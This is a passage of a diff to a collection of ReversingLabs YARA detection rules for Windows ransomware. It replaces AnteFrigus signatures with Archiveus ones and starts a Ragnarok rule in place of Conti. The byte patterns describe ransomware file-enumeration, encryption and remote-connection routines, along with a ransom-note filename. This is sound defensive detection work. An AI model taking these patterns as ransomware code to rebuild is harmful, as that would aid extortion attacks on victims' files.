+		id = "89e5af93-1153-5367-a539-6af77c99c214"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.AnteFrigus.yara#L1-L210"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b84c01da0ee97a4eb8bf099c71094f994feb4c7185ad75b8b2ccda5eee283a92"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Archiveus.yara#L3-L50"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "2b8a42b98ab3e8b97d2e226e979f342a6a72f21d8f068f59c21ad95764077f8a"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -44326,196 +44864,48 @@ rule REVERSINGLABS_Win32_Ransomware_Antefrigus : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "AnteFrigus"
+		tc_detection_name = "Archiveus"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 68 ?? ?? ?? ?? 8B D0
-            89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 83 65 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45
-            ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 C0 8D 7D
-            ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ??
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A ?? 8B 7A ?? 2B
-            CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B 12 57 52 51 8B
-            CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ??
-            ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D ?? 51 50 51 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 83 65 ?? ?? 8D 4D ?? 83 65 ?? ?? 50 E8 ??
-            ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 83 7D ?? ?? 8B 55 ?? 0F 43 75 ?? 85 D2 74 ?? 83 C9 ??
-            8D 42 ?? 3B C1 0F 42 C8 03 CE EB ?? 3B CE 74 ?? 49 80 39 ?? 75 ?? 2B CE EB ?? 83 C9
-            ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 8D 71 ?? C7 45 ?? ?? ?? ?? ?? C6 45
-        }
-		$find_files_p2 = {
-            3B D6 0F 82 ?? ?? ?? ?? 2B D6 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83 7D ?? ?? 51 0F
-            43 45 ?? 8D 4D ?? 03 C6 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 45 ?? 50 83
-            61 ?? ?? 83 61 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ??
-            6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 70 ?? 03 30 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ??
-            ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ??
-            C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ??
-            ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ??
-            ?? 03 F3 59 3B F7 75 ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ??
-            ?? 03 F3 3B F7 75 ?? 8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ??
-            59 59 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E8
-        }
-		$remote_connection_p1 = {
-            55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ??
-            ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43
-            8D ?? ?? ?? ?? 03 F9 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? 0F 43 B5 ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? ?? ?? 33 DB 8B C7 89 9D
-        }
-		$remote_connection_p2 = {
-            2B C6 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? EB ?? 66 0F BE 06 8D
-            8D ?? ?? ?? ?? 0F B7 C0 50 E8 ?? ?? ?? ?? 46 3B F7 75 ?? 53 53 53 53 68 ?? ?? ?? ??
-            C6 45 ?? ?? 88 5D ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 33 C0 50
-            6A ?? 50 50 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 45 ?? 85
-            C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 33 C9 51 51 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 8B F0 85 F6 74 ?? 33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68
-            ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ??
-            83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 FF 75 ?? FF D7 53 FF
-            D7 80 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81
-            C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ??
-            8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ??
-            E9 ?? ?? ?? ?? E8
-        }
-		$encrypt_files_p1 = {
-            66 39 03 0F 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 33 C0 8D 8D ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8D 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 39 9D ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8D 04 41 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ??
-            ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
-            85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 BA ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ??
-            83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D
-        }
-		$encrypt_files_p2 = {
-            8D ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ?? 33 C9 88 4D ?? 8D 8D ?? ?? ?? ?? FF 75 ?? 50 E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 C0 59 89 85 ??
-            ?? ?? ?? 89 8D ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 88
-            85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 45 ?? ?? 57 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8D 4D
-            ?? E8 ?? ?? ?? ?? 33 C0 C6 45 ?? ?? 57 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 4D ??
-            52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 8D ?? ?? ?? ?? 52 E8 ?? ?? ??
-            ?? 83 EB ?? 75 ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ??
-            ?? ?? ?? 39 9D ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ??
-            ?? ?? 0F 43 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 8D 8D ??
-            ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 45 ??
-            C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51
-        }
-		$encrypt_files_p3 = {
-            8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 45 ?? C6 45 ?? ?? 50 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ??
-            ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ??
-            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 04 ?? 88 45 ?? FF 75 ?? E8 ?? ?? ??
-            ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 2C ?? 88 45 ?? FF 75
-            ?? E8 ?? ?? ?? ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43
-        }
-		$encrypt_files_p4 = {
-            85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? BE ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 56 50 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ??
-            ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D
-            ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ??
-            C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45
-            ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ??
-            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ??
-            59 59 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ??
-            ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ??
-            ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8D
+		$entry_point = {
+            68 ?? ?? 40 00 E8 ?? ?? ?? FF
         }
-		$encrypt_files_p5 = {
-            85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 51 50 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ??
-            ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 50 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D
-            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
+		$dump_instruction = {
+            8B 3D ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
+            74 ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ??
+            50 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF D7 FF 15 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 1D ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 50 51 FF D3 50 8D 55 ?? 8D
+            45 ?? 52 50 FF D3 50 FF 15
         }
-		$encrypt_files_p6 = {
-            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? 83
-            EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ??
-            ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ??
-            ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 95 ??
-            ?? ?? ?? 03 CA 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 2B C8 51 50 56 E8 ?? ?? ??
-            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ??
-            68
+		$extension_rule = {
+            8B 13 6A ?? 68 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? D9 85 ?? ?? ?? ?? DB 85 ?? ?? ??
+            ?? DD 9D ?? ?? ?? ?? DC 8D ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? DC 05 ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 89 45
+            ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF
+            15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ??
+            50 6A ?? 6A ?? 6A ?? FF 15
         }
+		$instruction_string = "INSTRUCTIONS HOW TO GET YOUR FILES BACK.txt" wide
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ($entry_point at pe.entry_point) and $dump_instruction and $extension_rule and $instruction_string
 }
-rule REVERSINGLABS_Win32_Ransomware_Conti : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ragnarok : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Conti ransomware."
+		description = "Yara rule that detects Ragnarok ransomware."
 		author = "ReversingLabs"
-		id = "548b8836-83cb-560c-af5f-33bdb24d15ed"
-		date = "2020-12-14"
-		modified = "2020-12-14"
+		id = "263a671e-dfdb-5ab8-9bb9-355c76a88c10"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Conti.yara#L1-L74"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "4f2b96c8eaf8d112a7bb60647db49616935a336396c705d39d5bb51dfd90c60b"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ragnarok.yara#L1-L110"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
